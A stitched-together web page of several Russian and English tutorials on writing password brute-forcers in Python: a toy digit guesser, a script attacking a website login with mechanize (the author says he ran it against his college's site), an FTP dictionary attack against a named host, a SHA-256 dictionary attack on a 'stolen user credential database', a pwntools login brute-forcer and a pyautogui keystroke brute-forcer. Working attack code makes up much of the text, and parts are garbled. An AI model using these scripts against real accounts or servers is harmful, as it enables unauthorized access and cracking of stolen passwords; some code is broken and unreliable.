Как написать брутфорс на python

Кодинг
49,274

Перебор пароля Python

Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.

Еще по теме: Взлом WiFi на Python

Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.

Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.

Далее, надо определиться с переменными. Нам нужны 6.

correctPassword = «1234» # Вводим пароль, который нужно забрутить

wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться

password = «» # В эту переменную будет записываться сгенерированный пароль,  и, если он ложный, пойдет в wrongPassword

length = 4 # Длина пароля. Эта переменная нужна будет в будущем

chars = «1234567890»  # Символы, из которых будет генерироваться пароль.

run = True # Думаю, не стоит объяснять

Вот и все необходимые переменные.

Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password

Переходим к самому интересному — генерации и перебору паролей.

Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.

for i in range(length):

    password += random.choise(chars)

Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.

if password not in wrongPasswords:

    print(password)

    if password != correctPassword:

        wrongPasswords.append(password)

    else:

        run = False

        break

print(password + » is correct»)

Вот и все! Все работает!

Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.

Весь код полностью:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import random

correctPassword = «1234»

wrongPasswords = []

password = «»

length = 4

chars = «12e4567890»

run = True

while run:

    password = «»

    for i in range(length):

        password += random.choise(chars)

    if password not in wrongPasswords:

        if password != correctPassword:

            print(password)

            wrongPasswords.append(password)

        else:

            run = False

            break

print(password + » is correct»)

Еще по теме: Простой кейлоггер на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

«»» Password brute-force algorithm. List of most probable passwords and english names can be found, respectively, at: — https://github.com/danielmiessler/SecLists/blob/master/Passwords/probable-v2-top12000.txt — https://github.com/dominictarr/random-name/blob/master/middle-names.txt Author: Raphael Vallat Date: May 2018 Python 3 «»» import string from itertools import product from time import time from numpy import loadtxt def product_loop(password, generator): for p in generator: if ».join(p) == password: print(nPassword:’, ».join(p)) return ».join(p) return False def bruteforce(password, max_nchar=8): «»»Password brute-force algorithm. Parameters ———- password : string To-be-found password. max_nchar : int Maximum number of characters of password. Return —— bruteforce_password : string Brute-forced password «»» print(‘1) Comparing with most common passwords / first names’) common_pass = loadtxt(‘probable-v2-top12000.txt’, dtype=str) common_names = loadtxt(‘middle-names.txt’, dtype=str) cp = [c for c in common_pass if c == password] cn = [c for c in common_names if c == password] cnl = [c.lower() for c in common_names if c.lower() == password] if len(cp) == 1: print(nPassword:’, cp) return cp if len(cn) == 1: print(nPassword:’, cn) return cn if len(cnl) == 1: print(nPassword:’, cnl) return cnl print(‘2) Digits cartesian product’) for l in range(1, 9): generator = product(string.digits, repeat=int(l)) print(«t..%d digit» % l) p = product_loop(password, generator) if p is not False: return p print(‘3) Digits + ASCII lowercase’) for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(string.digits + string.ascii_lowercase, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p print(‘4) Digits + ASCII lower / upper + punctuation’) # If it fails, we start brute-forcing the ‘hard’ way # Same as possible_char = string.printable[:-5] all_char = string.digits + string.ascii_letters + string.punctuation for l in range(1, max_nchar + 1): print(«t..%d char» % l) generator = product(all_char, repeat=int(l)) p = product_loop(password, generator) if p is not False: return p # EXAMPLE start = time() bruteforce(‘sunshine’) # Try with ‘123456’ or ‘751345’ or ‘test2018’ end = time() print(‘Total time: %.2f seconds’ % (end start))

brute-force-image

Screen shot of python script running brute-force attack on my college’s website.

This post gives brief introduction to Brute Force Attack, Mechanize in Python for web browsing and explains a sample python script to brute force a website login.

Brute Force Attack

Brute force is the easiest way one can implement to recover lost passwords (Yet it can take literally ages to crack one). Basically,  this involves checking all possible combinations of passwords until the right one is found. This can be really helpful when characters in the password is known but not the correct combination, here possible combinations decrease drastically. Following paragraph gives a vague idea of how much time it can take to find right combination in the worst case scenario.

Suppose the length of password is N and we know nothing about characters present in the string, possible characters can be all alphabets (upper and lowercase), numbers (0-9) and special characters (~, @, #, $, ^), thus each character of the password string can be any of the above 67 characters which leads to a total of 67^N combinations (as you can clearly see it increases exponentially with the length). If we are brute forcing a website login, time taken significantly depends on the internet speed, for instance it can do four login checks per second, it takes nearly 58 hours to crack a password of four character length. Suppose if we know the characters, we can find the correct combination in 64 seconds, far less than previous case.

Mechanize

In the following brute-force script we use Mechanize, a python library for stateful programmatic web browsing, used for automating interaction with websites (Initially it was written for PERL users). There are many ways to install this library. Following two ways will automatically download the latest version source and install it (for linux users).

Easy Install:

easy_install mechanize

Pip:

pip install mechanize

For installing it manually you can go through their documentation at Mechanize. Here are few things you have to know about mechanize in order to understand the sample script.

1. Initializing browser object: 

import mechanize
br = mechanize.Browser()

2. Opening the login page:

response = br.open(url)

3. Selecting the required form in the page:

br.select_form("form name") #selecting forms by name
br.select_form(nr=0)        #use to select the first form in the page if it is unnamed

4. Filling the form: Assign values to the form fields

br.form['userName'] = 'user name'
br.form['password'] = 'password'

5. Submitting form:

br.method = "POST"
response = br.submit()
print response.geturl() #url to which the page has redirected after login

 To learn more about mechanize: Cheat sheet | Missing manual | Browsing in python

Sample Python script

1. Import required modules

We will use Python’s core module ‘itertools’ for generating possible password combinations.

#!/usr/bin/python
import mechanize 
import itertools

2. Initializing browse object

Initialize using mechanize.Browser( )

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)  #no robots

3. Generating combinations

If you know characters in the password. (Go through itertools docs for more info.)

combinations = itertools.permutations("i34^UhP#",8)
#takes characters and length of string to generate as arguments(no repetition)

Otherwise (I would not recommend this for obvious reasons)

combinations =itertools.permutations("a-zA-Z0-9!@#$%^",n)

4. Establishing connection and checking the possibilities 

Here is the final python code.


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations(«i3^4hUP-«,8)
br.open(«http://www.example.com/login/")
for x in combos:
br.select_form( nr = 0 )
br.form[‘userName’] = «user name»
br.form[‘password’] = ».join(x)
print «Checking «,br.form[‘password’]
response=br.submit()
if response.geturl()==«http://www.example.com/redirected_to_url":
#url to which the page is redirected after login
print «Correct password is «,».join(x)
break

Troubleshooting errors

mechanize._mechanize.FormNotFoundError: no form matching nr 0

Most the time i ended up getting this error even though there is a form element in the page. I thought this might be due to bad HTML in the page. Anyway you can solve this error by changing the form element in the browser object (copy the form element from the page’s HTML ). Here is the new code snippet:


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos=itertools.permutations(«i34U^hP-«,8)
r =br.open(«https://www.example.com/login/")
for x in combos:
new_form = »’
<form method=»post» action=»index.php»>
<b>Enter the username :</b><input type=»text» name=»rollno» size=»16″ maxlength=»8″>
<b>Enter the password:</b><input type=»password» name=»pwd» size=»16″>
<input type=»submit» name=»submit» value=»Submit»>
</form>
»’
#all you have to take care is they have the same name for input fields and submit button
r.set_data(new_form)
br.set_response(r)
br.select_form( nr = 0 )
br.form[‘userName’] = «user name»
br.form[‘password’] = ».join(x)
print «Checking «,br.form[‘password’]
response=br.submit()
if response.geturl()==«http://www.example.com/redirected_to_url&quot;:
#url to which the page is redirected after login
print «Correct password is «,».join(x)
break
  • Brute force
  • Hacking
  • Mechanize
  • Python

На чтение 4 мин Опубликовано 23.09.2020

Это руководство по брутфорсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на  языке Python.

Полный код состоит всего из 20 строк, и инструмент достаточно прост.

Содержание

  1. Создайте новый файл Python
  2. Импортируйте FTPlib
  3. Список паролей
  4. Цикл
  5. Запуск
  6. Конечный результат

Создайте новый файл Python

Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.

Импортируйте FTPlib

FTPlib – это стандартная библиотека, используйте ее.

Запишите следующий фрагмент кода в свой файл Python.

from ftplib import FTP

Список паролей

Инструмент брута должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).

Большие списки паролей для брутфорса | скачать бесплатно

🦴 Ahadu — Генератор списка паролей

Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.

Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.

password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"

Цикл

Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент брута FTP на Python.

Добавьте следующую строку кода:

def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

Продолжаем добавлять цикл и шаги входа в систему:

for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)

Запуск

Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.

start()

Конечный результат

from ftplib import FTP
#options
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.kakoitosite.ru"
 
def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)
start()

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

3 minute read

Password cracking through Bruteforcing may take a long time and most of the users usually use common English words or names, and numbers as their passwords. Therefore, Dictionary attacks can be quite useful to crack the passwords.

A dictionary is a simple txt file that may contain from a few thousands to a few millions of common words or phrases (includes numbers as well).

If you have a stolen user credential database, you might be able to crack the passwords by matching all dictionary words against the hashed passwords!

A Hash is typically a one-way function that creates a unique digest from an input string. For example, if your password is hello_there, the output hash digest would look like the following

Algorithm Output Hash
MD5 290e1c9cc54995453b810dfb15b853a1
SHA-1 f976f0ad02501f0a95bfcf3c1081e0759b508d47
SHA-256 299d2e40d6b7026b6029b8ff4cff0ad0fbfe14b20d704a609a2631cada32fbc1

Here, MD5, SHA-1, and SHA-256 are widely used hashing algorithms to convert a string into a one-way output.

The term one-way means you cannot retrive the string from the hashed output. It is important to hash the passwords because we do not want to keep passwords in plain sight.

If you are logging into your social media account (e.g., Facebook/Instagram) or your laptop, you have to input your username and password. However, the systems maintain a user database containing your name and the hashed password. For example,

user_name password_hash
mrx 678cfd979de6de0ec70d08b0b7a4b6aad645802abe2504aed9c4d1ca3da101c5
guest_user 3809f08dc16f01a7c9393eab3146e38e7ffd7d19b0aa5a3754aa2f7780fc4b77
other b712430498d0b31595b86c34a939b4dcdde5050a4e8a143e99037a6e6984a68f

Now, suppose, you have stolen/found a user credential database like this. However, because you cannot calculate the string, you need to match different guessed strings after hashing.

Requirements

  1. Stolen User Credential Database (two columns: username, password_hash)
  2. A dictionary file (each line contains a dictionary word)
  3. Attacker should know which algorithm is being used. Although it’s not a big deal. The attacker can try all algorithms one after another. In this post we will use SHA-256

Create a simple Python Program

First, let’s import the necessary modules

import pandas as pd
from hashlib import sha256

Now, we need to write a function that returns True if the hashed dictionary word matches the database password

def dictionary_attack(dictionary_word,target_hash):
    pass_bytes = dictionary_word.encode('utf-8')
    pass_hash = sha256(pass_bytes)
    digest = pass_hash.hexdigest()
    if digest == target_hash:
        return True

Suppose, we want to check whether we can crack the password of the first user. Therefore, we need to get the first password_hash from the user database, and pass all the dictionary words one after another.

if __name__ == "__main__":
    # read user DB and the dictionary using pandas.read_csv
    dictionary = pd.read_csv("password_dictionary", names=['passwords'])
    users = pd.read_csv("users")
    
    # match all words from the dictionary until it matches/ends
    for test_word in dictionary["passwords"]:
        if dictionary_attack(test_word,users["password_hash"][0]) == True:
            print("Matched Password: ", test_word)
            break
        else:
            continue

Now, within a few seconds, we get a matched word from our dictionary: 2midrash.

Well, if you want to compromise all user password, you can add a new for loop that iterates over the indices of all users. Or for any range of user, you can create a function like this and call it in the main function.

# inputs an string and returns the sha256 digest
def create_hash(word):
    pass_bytes = word.encode('utf-8')
    pass_hash = sha256(pass_bytes)
    digest = pass_hash.hexdigest()
    return digest

# inputs the number of users and returns nothing
# intended for finding passwords for multiple users
def find_multiple_users(num_user):
    for i in range(num_user):
        check_pass = users["password_hash"][i]
        for test_word in dictionary["passwords"]:
            if create_hash(test_word) == check_pass:
                print("Found Matched Password:", test_word, "for user", users["username"][i])
                break

However, the code we used above is enefficient while calculating for multiple users. Can you guess, why?

Because we are creating hash each time we match against the user database passwords. So, if we try 20000 dictionary words againt 20 user passwords, the number of hashing calculation would be 20000*20.

To avoid the additional computation, we can precompute the hash and keep those values in a dictionary. The new dictionary will have the dictionary words as keys and the hashed outputs will be the values. Therefore, we can add an extra function to the code as follows

# Returns the dictionary of password and corresponding digests
def hash_dictionary():
    global hash_dict
    hash_dict = {}
    for test_word in dictionary["passwords"]:
        hash_dict[test_word] = create_hash(test_word)
    return hash_dict

You can check the code and files and get some idea about different experiment settings. The four experiments are as follows:

  • Experiment 1: Time taken to match a dictionary word for the first user
  • Experiment 2: Approximate Avg. time for all users
  • Experiment 3: approx time if used the Hash dictionary (precomputed hash)
  • Experiment 4: Adding Salt to user password to avoid duplicates

That’s all for today, cheers!

Python для хакера. Урок №5. Пишем брутфорсер формы авторизации.

https://telete.in/hacker_sanctuary

Данный пост является продолжением рубрики «Python для хакера», предыдущие посты доступны по следующим ссылкам:

Урок №1 — telegra.ph, tgraph.io

Урок №2 — telegra.ph, tgraph.io

Урок №3 — telegra.ph, tgraph.io

Урок №4 — telegra.ph, tgraph.io

Советуем для начала ознакомиться с предыдущими уроками, чтобы понимать материал из данного и следующих уроков.

Урок 5. Пишем брутфорсер формы авторизации.

Данный урок будет посвящён созданию скрипта для брута формы авторизации. Брутить будем форму авторизации, созданную в сервере, который был разработан на прошлом уроке.

Теория.

Использовать мы будем библиотеку pwntools (про неё есть вводный урок под номером 3). Также нам понадобятся словари, возьмём топ-1000 логинов и паролей.

Подразумевается, что мы не знаем не логинов не паролей. Для брута чистых  TCP приложений (например FTP-серверов) — это достаточно реальное предположение.

Да, для брута есть специальные инструменты, которые, скорее всего, будут работать гораздо быстрее чем наш скрипт, но мы не ставим перед собой задачу разработки готового инструмента, а просто тренируемся и учимся, для того, чтобы понимать, концепции, лежащие в основе мощных инструментов.

Практика.

Итак, приступим. Нам необходимо запустить написанный нами в прошлом уроке сервер (если вы ещё не читали этот урок, то обязательно прочтите), полный код сервера можно найти на gihube канала (ссылка).

Запустим его на машине, на которой не будет запускаться наш скрипт. Можно запустить на основной машине и запускать скрипт с виртуалки, или наоборот.

Запуск сервера мы опустим, т.к. это показывалось в прошлом уроке. Также, опустим и объяснение работы сервера.

Для начала найдём словари с логинами и паролями. Для этого можно использовать очень хороший репозиторий на github’e в котором есть словари паролей и логинов, при чём разнообразных и в большом количестве (ссылка).

Для имён пользователя возьмём словарь — ссылка (вы можете взять другой)

Для паролей словарь — ссылка.

Скачиваем эти словари и помещаем их в одну папку с нашим скриптом.

Начнём писать код.

Сделаем необходимые импорты.

Для начала нам нужно написать достаточно стандартный код для сетевого клиента, а именно принятие аргументов при запуске из командной строки.

Здесь всё довольно просто. Есть 4 аргумента: хост, порт, файл с логинами, файл с паролями. Здесь всё тривиально и уже рассматривалось не один раз.

Теперь нам нужно бы получить все наши логины и пароли в виде списка (обратите внимание, что данная техника не очень хороша, если вы используете большой словарь, т.к. при считывании сразу всех значений, они будут хранится в памяти и занимать много места, но в нашем случае они будут занимать не так много). Для этого напишем короткую функцию ParseFile, которая вернёт нам список из строк, которые есть в файле.

Код достаточно простой, открываем файл, считываем всё из файла и разбиваем считанное по разделителю в виде символа переноса строки (то есть получаем отдельные строчки), закрываем файл, возвращаем полученный список. Если вы не поняли, что произошло, советую посмотреть про функции работы с файлами и функцию split.

Теперь получим наши списки и сохраним в отдельные переменные.

Отлично, пришло время подключаться и перебирать логины.

Итак мы начинаем цикл по списку из имён пользователей, т.к. при неудачном вводе сервер разрывает соединение, на каждой итерации нам надо устанавливать новое подключение. После установки подключения мы считываем данные, пока не встретим приглашения ввода имени пользователя (строка 28), после чего мы отправляем имя пользователя на сервер и ожидаем ответ, если в ответе содержится сообщение о том, что имя неверное, мы просто заканчиваем текущую итерацию и закрываем наш клиент. Если такое сообщение не пришло, то мы считаем, что был найден верный логин и заканчиваем данный цикл с выводом верного логина на экран. Запустим наш код и проверим его.

Отлично, мы нашли имя пользователя. Чтобы убрать сообщения об открытых и закрытых соединениях, можно дописать слово SILENT в конце строки запуска скрипта.

Отлично, теперь напишем код для брута пароля. При этом будем использовать логин найденный в ходе первого цикла, то есть не будем запускать скрипт два раза: для нахождения логина, для нахождения пароля, а будем запускать всего один раз для нахождения всего.

Итак, код делает практически тоже самое, что и для имени пользователя, вы можете их сравнить. Переменная  valid_username была добавлена и теперь код для нахождения имени пользователя выглядит так.

Просто сохраняем верное имя пользователя в отдельной переменной, чтобы потом её использовать в поиске пароля.

Запустим всё что мы написали.

Отлично, мы нашли логин и пароль.

Весь исходный код скрипта доступен на гитхабе канала по данной ссылке.

Данный урок подходит к концу. В следующих уроках планируется рассмотреть создание скриптов для веб-приложений, то есть простых веб-серверов и клиентов. Если у вас есть идеи, то пишите их в бота-ответчика.

Introduction: Password Brute-forcer in Python

Introduction

To be clear, while this is a tutorial for how to create a password brute-forcer, I am not condoning hacking into anyone’s systems or accounts. This is a very inefficient method which I decided to upload as I thought that many others may find it to be an interesting task (or just want some nerdy bragging points). If you wish to test it out using pyautogui: I recommend creating a website in html that does not use Capatcha and has a simple password and hosting it locally so that you can attempt to access that. Now before you continue to read on: if you want to create this entirely on your own then I do not recommend continuing to read on past the 1st section (which you will need) as this tutorial will contain many hints as this is relatively advanced programming. Likewise if you just want the code itself do not bother reading the whole (just the 1st part of the 1st section) tutorial as I attach a copy of the code below. There are also certain sections that refer to pyautogui, if you wish to only «print» or match the passwords then ignore these sections but if you want python to use your keyboard to type out the passwords then you will need to follow those instructions.

Step 1: Downloading Modules and Importing Built in Ones.

PyAutoGUI download (ignore this section if you don’t want to use the keyboard inputs) you will still need to follow this step if all you want is the code

You will need to import itertools and you may also want to import time but it is not necessary (they are both built in functions)

If you don’t want to have any more help than this I would strongly recommend looking into these modules if you are not already familiar with them.

Step 2: Create Your Starting Variables

You will need to create a string called «Alphabet» that contains all of the characters you wish to use. You could also create a list but that would take a lot longer to type out and would be no more effective.

You will also need to create a string under the name «username» that is set to either input or the username you wish to use or if you are not using PyAutoGUI you will want to set a variable called «password» and set it to user input. You do not need have a password function for PyAutoGUI as you would most likely be entering the password into a password input box so instead you have a username for the program to type out.

If you want to time the process (recommended for not using PyAutoGUI) then you will need to create a variable called «start» and assign it the value time.time()

Finally, you will need to create an integer called «CharLength» and assign it a value of 1. This will be used later to tell the in-built function itertools.products() how long the combinations should be. You do not technically need to create this variable but otherwise itertools.products runs through combinations with 0 characters which, when collecting data (e.g. averages) can mess with statistics.

This should look like this (do not read this if you want to do it for yourself):

<p>import pyautogui</p><p>Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")</p><p>CharLength = 1</p><p>username = "pancakehax@gmail.com"</p>

or if you aren’t using PyAutoGUI:

<p>Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")</p><p>Password = input("What is your password?n")
start = time.time()
counter = 1
</p><p>CharLength = 1</p>

Step 3: Creating the Brute-forcer Part 1

You will need to create a «for» loop that continues to run while your CharLength variables is not larger than the maximum number of characters you want (I suggest 25). This is not necessary but if you are planning on leaving it running for a long time then you would most likely want it to stop at some point as once it gets past a certain number of characters, it is most likely not working correctly.

Within this for loop you want to create a variable (i recommend calling it passwords) and assigning it the value itertools.product(Alphabet, repeat = CharLength) the variable will now be a generator from which you need to yield. Remember not to just print this as that will not work.

The way in which you print the products of a generator is:

for i in [generator name]:

<p>print(i)</p>

But this is also not yet perfect as it would return the values «(‘a’,)(‘b’,) (‘c’,) (‘d’,)» which would be less than ideal; in order to remove this problem you will need to create a string version of the output and use the «.replace» built in function to remove any parts of the output that are not part of the actual attempt. You should use this format:

i = str(i)<br>i = i.replace(",","")

After this it changes significantly depending on if you are using PyAutoGUI or not; follow the corresponding final part of the tutorial.

Step 4: Creating the Brute Forcer Part 2: With PyAutoGUI

Warning: this step is only for if you are using and have downloaded PyAutoGUI: if you have not then please use the next step instead.

You will now need to use «pyautogui.typewrite()» to type the variable you created under the name username. This is important because most sites have a username box and so you should create one that has the same but if you don’t need to use it, just ignore this part. You could do it like this:

pyautogui.typewrite(username)

Afterwards you will need to use the pyautogui functions keyDown and keyUp in order to press the enter key so that the website knows you have finished typing the username.

you will then need to do the same but instead have the program type the password (ensuring it still presses enter).

Step 5: Creating the Brute Forcer Part 2: Without PyAutoGUI

If you are not using pyautogui then you will want to check if the current attempt is equal to the password the user has entered.

If it is then you should create a variable called «end» and assign it the value time.time() then create another variable called «timetaken» and make that end — start; this tells you how long it took to find the password. Then you should tell the user how long it took to find their password as well as how many attempts.

After this you should, using the formula counter/timetaken, tell the user how many attempts were made per second.

Finally you need to print off their password so that they know the program correctly identified their password.

Step 6: How You Code Should Look at the End

If you used PyAutoGUI:

import itertools
import time

import pyautogui

Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")

CharLength = 1

username = "pancakehax@gmail.com"
for Index in range(25):
    passwords = (itertools.product(Alphabet, repeat = Index))
	for i in passwords:
        i = str(i)
        i = i.replace("[", "")
        i = i.replace("]", "")
        i = i.replace("'", "")
        i = i.replace(" ", "")
        i = i.replace(",", "")
        i = i.replace("(", "")
        i = i.replace(")", "")
        pyautogui.typewrite(username)
        pyautogui.keyDown("enter")
        pyautogui.keyUp("enter")
        pyautogui.typewrite(i)
        pyautogui.keyDown("enter")
        pyautogui.keyUp("enter")
    Index += 1

If you did not:

<p>import itertools
import time
Alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_.")
Password = input("What is your password?n").

start = time.time()

counter = 1</p><p>CharLength = 1

for CharLength in range(25):
    passwords = (itertools.product(Alphabet, repeat = CharLength))
    print("n n")
    print("currently working on passwords with ", CharLength, " chars")
    print("We are currently at ", (counter / (time.time() - start)), "attempts per seconds")
    print("It has been ", time.time() - start, " seconds!")
    print("We have tried ", counter, " possible passwords!")
    for i in passwords:
        counter += 1
        i = str(i)
        i = i.replace("[", "")
        i = i.replace("]", "")
        i = i.replace("'", "")
        i = i.replace(" ", "")
        i = i.replace(",", "")
        i = i.replace("(", "")
        i = i.replace(")", "")
        if i == Password:
            end = time.time()
            timetaken = end - start
            print("Found it in ", timetaken, " seconds and ", counter, "attempts")

            print("That is ", counter / timetaken, " attempts per second!")
            print(i)
            input("Press enter when you have finished")
            exit()

Be the First to Share

Recommendations

Понравилась статья? Поделить с друзьями:
  • Как написать брокеру сбербанк
  • Как написать бродяга английскими буквами
  • Как написать бродилку на c
  • Как написать бровисту на запись
  • Как написать бриф пример